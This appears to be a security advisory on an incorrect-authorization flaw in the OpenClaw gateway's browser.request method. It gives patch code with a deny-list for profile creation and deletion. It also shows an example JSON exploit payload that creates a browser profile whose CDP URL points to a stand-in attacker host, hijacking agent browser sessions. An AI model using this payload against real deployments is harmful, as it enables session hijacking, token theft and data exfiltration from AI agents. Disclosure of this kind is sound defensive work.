GHSA-VMHQ-CQM9-6P7Q: Privilege Escalation via Incorrect Authorization in OpenClaw Gateway

OpenClaw is an open-source AI assistant platform that integrates remote browser control via a central gateway. The platform utilizes persistent browser profiles to manage connections to remote browser instances using the Chrome DevTools Protocol (CDP).

The vulnerability, identified as GHSA-VMHQ-CQM9-6P7Q, resides within the browser.request method exposed by the OpenClaw gateway. This method facilitates interaction with the browser control surface for authorized agents and operators. A flaw in the authorization logic permits accounts with only operator.write privileges to access administrative endpoints.

By exploiting this incorrect authorization (CWE-863), a low-privileged user can manipulate the routing logic. This allows the unauthorized creation or deletion of persistent browser profiles, leading to severe integrity and availability impacts on the platform's browser infrastructure.

The OpenClaw gateway routes incoming commands to an internal node registry. The browser.request method acts as an interface for callers with write-scoped permissions to perform operational tasks. The implementation blindly forwarded requests based on the provided path and method without strictly validating the destination against a list of allowed endpoints.

Internal administrative routes, specifically POST /profiles/create and DELETE /profiles/:name, were inadvertently exposed to this request forwarding mechanism. These endpoints are strictly intended for administrative use to provision or decommission persistent browser infrastructure.

Because the browser.request handler did not filter out mutations to the /profiles namespace, any authenticated entity possessing operator.write permissions could craft a payload targeting these administrative routes. The system processed these requests within the elevated context of the gateway, bypassing intended access controls entirely.

The vulnerable implementation in src/gateway/server-methods/browser.ts accepted arbitrary paths within the browser.request handler. The fix introduces a dedicated validation function named isPersistentBrowserProfileMutation to intercept and block administrative path requests.

function isPersistentBrowserProfileMutation(method: string, path: string): boolean {
  const normalizedPath = normalizeBrowserRequestPath(path);
  // Block profile creation
  if (method === "POST" && normalizedPath === "/profiles/create") {
    return true;
  }
  // Block profile deletion
  return method === "DELETE" && /^\/profiles\/[^/]+$/.test(normalizedPath);
}

The patch integrates this validation step directly into the browserHandlers.request pipeline. If the function returns true, the gateway immediately rejects the payload with an INVALID_REQUEST error code, preventing the call from reaching the internal node registry.

if (isPersistentBrowserProfileMutation(methodRaw, path)) {
  respond(
    false,
    undefined,
    errorShape(
      ErrorCodes.INVALID_REQUEST,
      "browser.request cannot create or delete persistent browser profiles",
    ),
  );
  return;
}

This explicit deny-list approach effectively neutralizes the authorization bypass for the identified endpoints. Developers must ensure that any future administrative endpoints added to the /profiles namespace or similar internal routes are also explicitly protected to prevent variant attacks.

Exploitation requires the attacker to possess an active OpenClaw operator account or control a subagent provisioned with operator.write permissions. The attacker utilizes the browser.request API method to deliver a malicious payload to the gateway.

The attack vector involves sending a POST request directed at the /profiles/create endpoint. The attacker includes a custom name parameter and a malicious cdpUrl pointing to an attacker-controlled infrastructure. The gateway processes the request and instantiates the new persistent profile.

{
  "method": "POST",
  "path": "/profiles/create",
  "body": {
    "name": "hijacked-profile",
    "cdpUrl": "http://attacker-controlled-ip:9222"
  }
}

Once the profile is created, any subsequent automated tasks or agent sessions configured to use that profile will connect directly to the attacker's Chrome DevTools Protocol endpoint. The attacker can also degrade service availability by issuing a DELETE request to /profiles/default or other active profile names, abruptly terminating existing browser sessions.

The vulnerability carries a CVSS v3.1 base score of 7.1, reflecting a high-severity flaw. The primary security impact is a high integrity violation, as the attacker gains the ability to provision unauthorized infrastructure within the platform's trusted environment.

Hijacking the Chrome DevTools Protocol (CDP) connection grants the attacker profound control over the browser sessions. The attacker can execute arbitrary JavaScript within the context of the remote browser, access sensitive session tokens, and exfiltrate data processed by the AI agents.

Furthermore, the availability impact is classified as low but remains significant in production environments. An attacker can systematically delete all existing persistent browser profiles, causing denial-of-service conditions for automated workflows relying on those profiles. The attack vector requires no user interaction and operates seamlessly over the network.

The vulnerability is resolved in OpenClaw version 2026.3.11. Administrators must upgrade their gateway deployments immediately to prevent exploitation via the browser.request API. No configuration changes are required for the patch to take effect; the mitigation is handled entirely at the code level.

Organizations should conduct a thorough audit of their existing OpenClaw persistent browser profiles. Administrators must verify that all registered profiles and associated Chrome DevTools Protocol (CDP) URLs point to legitimate, trusted infrastructure. Any unrecognized profiles should be purged immediately.

Security teams must enforce the principle of least privilege across the OpenClaw deployment. Ensure that operator.write permissions are exclusively granted to trusted identities and automated subagents. Restricting these privileges reduces the overall attack surface and limits the potential for internal privilege escalation.